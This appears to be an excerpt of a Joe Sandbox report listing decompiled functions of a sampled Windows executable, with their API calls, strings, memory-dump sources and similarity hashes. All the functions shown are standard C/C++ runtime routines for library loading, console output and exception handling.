Opcode ID: 244b71ecd56b6fd1e7e7e91cf0d9e7e0c8dc30814151dcf20d59d5a54ae25e9b
Instruction ID: 2c665d9d2f066455772d4523e46f8be3f14e4348d21d7ffe5354acdb12a7e72c
Opcode Fuzzy Hash: 244b71ecd56b6fd1e7e7e91cf0d9e7e0c8dc30814151dcf20d59d5a54ae25e9b
Instruction Fuzzy Hash: 6E418F72B06A1199EB20DF61E5803AD33A4FB58798F440936EE5D87B9DDF38EA04C744

Function 00007FF6A72A47FC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6A72A4AAE,?,?,?,00007FF6A72A47A0,?,?,?,00007FF6A72A1329), ref: 00007FF6A72A4881
GetLastError.KERNEL32(?,?,?,00007FF6A72A4AAE,?,?,?,00007FF6A72A47A0,?,?,?,00007FF6A72A1329), ref: 00007FF6A72A488F
LoadLibraryExW.KERNEL32(?,?,?,00007FF6A72A4AAE,?,?,?,00007FF6A72A47A0,?,?,?,00007FF6A72A1329), ref: 00007FF6A72A48B9
FreeLibrary.KERNEL32(?,?,?,00007FF6A72A4AAE,?,?,?,00007FF6A72A47A0,?,?,?,00007FF6A72A1329), ref: 00007FF6A72A4927
GetProcAddress.KERNEL32(?,?,?,00007FF6A72A4AAE,?,?,?,00007FF6A72A47A0,?,?,?,00007FF6A72A1329), ref: 00007FF6A72A4933

Strings

api-ms-, xrefs: 00007FF6A72A48A1

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 0daae1f0dd12447bd1e85e122ea5114629ba90e848bcea2c166384ac6344cb0f
Instruction ID: 04ce84ca6f95b346ee89becf990df5226aab230a50bc0e1384a5f462e3356497
Opcode Fuzzy Hash: 0daae1f0dd12447bd1e85e122ea5114629ba90e848bcea2c166384ac6344cb0f
Instruction Fuzzy Hash: D031D421B1B78395EE61DF06AA049B92394FF54B64F494A35DD1D87398EF3CE540C700

Function 00007FF6A72BEDFC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6A72BEE2D
GetLastError.KERNEL32 ref: 00007FF6A72BEE39
CloseHandle.KERNEL32 ref: 00007FF6A72BEE51
CreateFileW.KERNEL32 ref: 00007FF6A72BEE7C
WriteConsoleW.KERNEL32 ref: 00007FF6A72BEE9B

Strings

CONOUT$, xrefs: 00007FF6A72BEE5D

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 88bef0f5a3aab689d2315e858b31a0285403826c97378bcb757b0aeeb119e936
Instruction ID: a4e70bcdc4df2d6b039a2939a0f6dd939e97a93cf7e12305255a9c37f677f3d5
Opcode Fuzzy Hash: 88bef0f5a3aab689d2315e858b31a0285403826c97378bcb757b0aeeb119e936
Instruction Fuzzy Hash: 8611B232B19B8286F7508F56F95432A62A4FB98FE5F000234EA1DC7799CF3CE4148745

Function 00007FF6A729ED40 Relevance: 9.2, APIs: 6, Instructions: 217COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6A729EDB3
MultiByteToWideChar.KERNEL32 ref: 00007FF6A729EE54
LCMapStringEx.KERNEL32 ref: 00007FF6A729EEBD
LCMapStringEx.KERNEL32 ref: 00007FF6A729EF12
LCMapStringEx.KERNEL32 ref: 00007FF6A729EFD8
WideCharToMultiByte.KERNEL32 ref: 00007FF6A729F032

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 6ebffb5236edcac014fc74a457bf4db57f21cc670a92c9a184eff4a0deecc263
Instruction ID: e85e9d5fff1aced07b15f49ef460c12aa9f01202ebae66afb2cc91a4256c03c1
Opcode Fuzzy Hash: 6ebffb5236edcac014fc74a457bf4db57f21cc670a92c9a184eff4a0deecc263
Instruction Fuzzy Hash: 0E919172A0A74186FB608F25DA4027A73A5FF647A8F584631EA5D87BDCEF3CE4058700

Function 00007FF6A72A2360 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 328COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6A72A2501
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6A72A283F

Strings

csm, xrefs: 00007FF6A72A24AA
csm, xrefs: 00007FF6A72A252B
csm, xrefs: 00007FF6A72A2448

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 17811a586b4e30293b7a862787874e8199efe57d6fb30ed2752ed0a9c7ad6770
Instruction ID: 30c6ea5a47af321a930d7e60815a64c0ab943fb4754d2da10cb0374b3b25d3b5
Opcode Fuzzy Hash: 17811a586b4e30293b7a862787874e8199efe57d6fb30ed2752ed0a9c7ad6770
Instruction Fuzzy Hash: 53E1AF73A0A6828AE7209F74D5803AD7BB0FB94798F104135EB8D9769ADF38E585C740

Function 00007FF6A72AEF68 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6A72AEF77
SetLastError.KERNEL32 ref: 00007FF6A72AEF96
FlsSetValue.KERNEL32 ref: 00007FF6A72AEFBF
FlsSetValue.KERNEL32 ref: 00007FF6A72AEFD0
FlsSetValue.KERNEL32 ref: 00007FF6A72AEFE1

Part of subcall function 00007FF6A72AEC00: RtlFreeHeap.NTDLL(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC16
Part of subcall function 00007FF6A72AEC00: GetLastError.KERNEL32(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC20

SetLastError.KERNEL32 ref: 00007FF6A72AF004

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 11c44a446165e88e88fda5eab0e90a70b20fd560dcc26354310d74f7d6df99ea
Instruction ID: a835b1e053658e83ed4413ae430ae0aa280fdb1f7439f6ed887f63d6345c4e37
Opcode Fuzzy Hash: 11c44a446165e88e88fda5eab0e90a70b20fd560dcc26354310d74f7d6df99ea
Instruction Fuzzy Hash: 13112120F0B24346FB646F326A6617E1252AF947A0F484A34E82EC76DFDE3CF4524641

Function 00007FF6A72AC1E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6A72AC20D
GetProcAddress.KERNEL32 ref: 00007FF6A72AC223
FreeLibrary.KERNEL32 ref: 00007FF6A72AC23F

Strings

CorExitProcess, xrefs: 00007FF6A72AC21C
mscoree.dll, xrefs: 00007FF6A72AC204

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 39e807388046c9810d268622a1e7fb84f98e36b321e4c4a6b55003aa0266b39d
Instruction ID: 787c144a8325ed05c414354ac410be4932060997e59241b384a676a3ce104364
Opcode Fuzzy Hash: 39e807388046c9810d268622a1e7fb84f98e36b321e4c4a6b55003aa0266b39d
Instruction Fuzzy Hash: 60F09022A0AB0282FE208F64A9453BA2370EF99766F540634C56E852EDCF2CE489C300

Function 00007FF6A72A174C Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF6A72A186F
__AdjustPointer.LIBCMT ref: 00007FF6A72A18BA

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3110febe8f95c266586a3f0c0ce7acd647362d09da298cc8098480a047f72dca
Instruction ID: 8b88eee6569d8ef732bc0cd53e43f8b2d37085dd5175556f70191c54ecdf006c
Opcode Fuzzy Hash: 3110febe8f95c266586a3f0c0ce7acd647362d09da298cc8098480a047f72dca
Instruction Fuzzy Hash: 95B1CF22A0BB8785FA65DF11968067963B1AF44BE4F098836DE4D8779DEF3CE542C301

Function 00007FF6A729D284 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A729D29A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A729D2BF
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A729D2E9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A729D38B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6A729D3A0

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: de4e2ee727fd70ea45a717ab47291501f3441d61ec42b0f132e856687f23827c
Instruction ID: 879377a70d34d033abf501822f2f1e0ec00a7e8eb0e598427316ba7d68dba81d
Opcode Fuzzy Hash: de4e2ee727fd70ea45a717ab47291501f3441d61ec42b0f132e856687f23827c
Instruction Fuzzy Hash: 12318322A0AA4281EB15DF65E6401B9B761FFA4794F4C0231DB9D837AEEF3CE445C744

Function 00007FF6A72B64C4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72B67A3

Part of subcall function 00007FF6A72BD614: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BD631

Strings

UTF-16LEUNICODE, xrefs: 00007FF6A72B6741
UTF-8, xrefs: 00007FF6A72B6722
ccs, xrefs: 00007FF6A72B66DE

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7028a084f07d109050fb413e7abfb6fc5f4ae07a75d6d3736883456abfde48df
Instruction ID: e4cc32e48b555d81177e28fa457cc11c45c07a35db38ad5aba08b2ba6a2970de
Opcode Fuzzy Hash: 7028a084f07d109050fb413e7abfb6fc5f4ae07a75d6d3736883456abfde48df
Instruction Fuzzy Hash: EE818172E0B20285FB656F29C37427926B0EB99B48F558039CA0ED72DEDF2DF9419701

Function 00007FF6A72A2AEC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6A72A2B5C
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6A72A2BA7

Strings

RCC, xrefs: 00007FF6A72A2B78
MOC, xrefs: 00007FF6A72A2B70

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 45ca2a67dbf60ae759b8dec0715dd03f6d3997a86b9bb35aec2a69ee6de5fab4
Instruction ID: 43b4b6badd88b862e7b135b8838ba902f3d91ae6a5b275edb4ddd73cceb6215c
Opcode Fuzzy Hash: 45ca2a67dbf60ae759b8dec0715dd03f6d3997a86b9bb35aec2a69ee6de5fab4
Instruction Fuzzy Hash: 2B91AD73A09B918AE711CF65E9802AD7BB0FB44788F10412AEB8D97B59DF38D195CB00

Function 00007FF6A72A1100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 155COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A72A112B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6A72A11C9
RtlUnwindEx.KERNEL32 ref: 00007FF6A72A1223

Strings

csm, xrefs: 00007FF6A72A11B0

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 27e04411f8f07e9b417d55a02e82556ae68521ca15ab97c8f707a9d59c1fdfa5
Instruction ID: 058e757caa9c6155e8a825fbb35ce4e45b6e08cdb9cb83bf2aac44cfc3134406
Opcode Fuzzy Hash: 27e04411f8f07e9b417d55a02e82556ae68521ca15ab97c8f707a9d59c1fdfa5
Instruction Fuzzy Hash: 1E518B32B1A6528BEB14CF15E644A7D77A5EB94BA8F508131EA4AC778CDF7CE841C700

Function 00007FF6A72A306C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A72A3094
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6A72A3182

Strings

csm, xrefs: 00007FF6A72A30B6
csm, xrefs: 00007FF6A72A31D4

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 24da730f33a2a23da785bec7214b37223728227b2e672adf24902a48b3e8fa5f
Instruction ID: d1ce235f24df464feb0fcb0e46f9381a7a276c36e600a2c36d012a5758cb0610
Opcode Fuzzy Hash: 24da730f33a2a23da785bec7214b37223728227b2e672adf24902a48b3e8fa5f
Instruction Fuzzy Hash: 8C619032A093828BEB748F15964436877A8FB55B94F148136DB9DC7B9ACF3CE851C701

Function 00007FF6A72A287C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6A72A28DB
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6A72A2927

Strings

RCC, xrefs: 00007FF6A72A28F7
MOC, xrefs: 00007FF6A72A28EF

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: a8bc0d6b9e13279d9e7d9d9d9eeaf6c961dde958377fcdbdf2706040b2a2c62f
Instruction ID: 9dfbb565c98be983b0ed2b2f86d1059c4144e4fb66d9c4ee2aeb2541199f97e2
Opcode Fuzzy Hash: a8bc0d6b9e13279d9e7d9d9d9eeaf6c961dde958377fcdbdf2706040b2a2c62f
Instruction Fuzzy Hash: E8618D32909BC585D7708F15E5407AAB7A0FBC5B94F044225EB9D83B9ADF7CE190CB04

Function 00007FF6A7292020 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF6A72920CC

Part of subcall function 00007FF6A72A1034: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6A729C696), ref: 00007FF6A72A1084
Part of subcall function 00007FF6A72A1034: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6A729C696), ref: 00007FF6A72A10C5

Strings

ios_base::badbit set, xrefs: 00007FF6A7292054
ios_base::failbit set, xrefs: 00007FF6A7292060
ios_base::eofbit set, xrefs: 00007FF6A7292067

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ExceptionFileHeaderRaise__std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3973727643-1866435925
Opcode ID: 128eeb9f0b8dc0a8ad81d20c0f209172528b67f9530a89b7796715e88ad1cfd4
Instruction ID: ad3f15fec1e2ee15da2b1999502a2952e53bdbfea00c2a34f8b2803e25949649
Opcode Fuzzy Hash: 128eeb9f0b8dc0a8ad81d20c0f209172528b67f9530a89b7796715e88ad1cfd4
Instruction Fuzzy Hash: 3221D662E1B74695FB54CF10D6811F93364EF74784F588132CA4C8265AEF3CE695C340

Function 00007FF6A72AFA50 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6A72AFACF
WriteFile.KERNEL32 ref: 00007FF6A72AFDAC
WriteFile.KERNEL32 ref: 00007FF6A72AFDF2
GetLastError.KERNEL32 ref: 00007FF6A72AFEB1

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ed9379ea17ae0585d9d952d975c5270ec653a8a4d0cc317c8aa3adda12569305
Instruction ID: f71b348e957a53dcc0c79c7100fee7427c9883f4f4a768fb513ca3f05ce9e2b4
Opcode Fuzzy Hash: ed9379ea17ae0585d9d952d975c5270ec653a8a4d0cc317c8aa3adda12569305
Instruction Fuzzy Hash: 5AD1C132B1AB8589E711CFB5D6402EC37B1FB54B98B448236CE5D97B9ADE38E506C340

Function 00007FF6A72B0434 Relevance: 6.2, APIs: 4, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00007FF6A72BF7E9,?,00000000,?), ref: 00007FF6A72B0552

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: ed179ebfa6f284fec6e17e222ba3c2a29e85fa0079fa53cebf2004e968b6b548
Instruction ID: 800412a41cc2e11c4c237143ed53f252a9a14a23e7eef283eb1832a23a0fefc9
Opcode Fuzzy Hash: ed179ebfa6f284fec6e17e222ba3c2a29e85fa0079fa53cebf2004e968b6b548
Instruction Fuzzy Hash: 5591D632F1A65289FB618F6596406FD27A0FB98788F04913ADE4E9768ADF3CF445C700

Function 00007FF6A72A32AC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A72A32D6

Strings

csm, xrefs: 00007FF6A72A3473
csm, xrefs: 00007FF6A72A32FB

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 7bbf50dd1e3b93584a1ac4eb445196eb8dd8ec5ba5125676af90b3c45d98cafd
Instruction ID: 5964ffb6307e2a61410fff6add00e534109eca7874bd6e251924ca547de8717b
Opcode Fuzzy Hash: 7bbf50dd1e3b93584a1ac4eb445196eb8dd8ec5ba5125676af90b3c45d98cafd
